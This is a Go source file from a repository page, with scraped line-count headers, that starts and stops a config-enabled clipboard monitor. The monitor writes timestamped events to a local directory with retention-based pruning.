105 lines
1.4 KiB
Go
105 lines
1.4 KiB
Go
package clipmon
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"sync"
|
||
|
|
"time"
|
||
|
|
|
||
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||
|
|
)
|
||
|
|
|
||
|
|
var (
|
||
|
|
mu sync.Mutex
|
||
|
|
running bool
|
||
|
|
writer *Writer
|
||
|
|
events chan Event
|
||
|
|
stopCh chan struct{}
|
||
|
|
doneCh chan struct{}
|
||
|
|
writerWG sync.WaitGroup
|
||
|
|
)
|
||
|
|
|
||
|
|
func Start() error {
|
||
|
|
if !config.ClipboardEnabled() {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
mu.Lock()
|
||
|
|
defer mu.Unlock()
|
||
|
|
if running {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
dir, err := config.ClipboardDir()
|
||
|
|
if err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
w, err := NewWriter(dir)
|
||
|
|
if err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
events = make(chan Event, 64)
|
||
|
|
stopCh = make(chan struct{})
|
||
|
|
doneCh = make(chan struct{})
|
||
|
|
|
||
|
|
writerWG.Add(1)
|
||
|
|
go func() {
|
||
|
|
defer writerWG.Done()
|
||
|
|
for {
|
||
|
|
select {
|
||
|
|
case event := <-events:
|
||
|
|
_ = w.Write(event)
|
||
|
|
case <-stopCh:
|
||
|
|
_ = w.Close()
|
||
|
|
return
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
|
||
|
|
close(stopCh)
|
||
|
|
writerWG.Wait()
|
||
|
|
events = nil
|
||
|
|
stopCh = nil
|
||
|
|
doneCh = nil
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
|
||
|
|
writer = w
|
||
|
|
running = true
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func Stop() {
|
||
|
|
mu.Lock()
|
||
|
|
if !running {
|
||
|
|
mu.Unlock()
|
||
|
|
return
|
||
|
|
}
|
||
|
|
stop := stopCh
|
||
|
|
done := doneCh
|
||
|
|
running = false
|
||
|
|
writer = nil
|
||
|
|
events = nil
|
||
|
|
stopCh = nil
|
||
|
|
doneCh = nil
|
||
|
|
mu.Unlock()
|
||
|
|
|
||
|
|
if stop != nil {
|
||
|
|
close(stop)
|
||
|
|
}
|
||
|
|
writerWG.Wait()
|
||
|
|
if done != nil {
|
||
|
|
<-done
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func emit(event Event) {
|
||
|
|
event.Time = time.Now()
|
||
|
|
select {
|
||
|
|
case events <- event:
|
||
|
|
default:
|
||
|
|
// ponytail: drop when full
|
||
|
|
}
|
||
|
|
}
|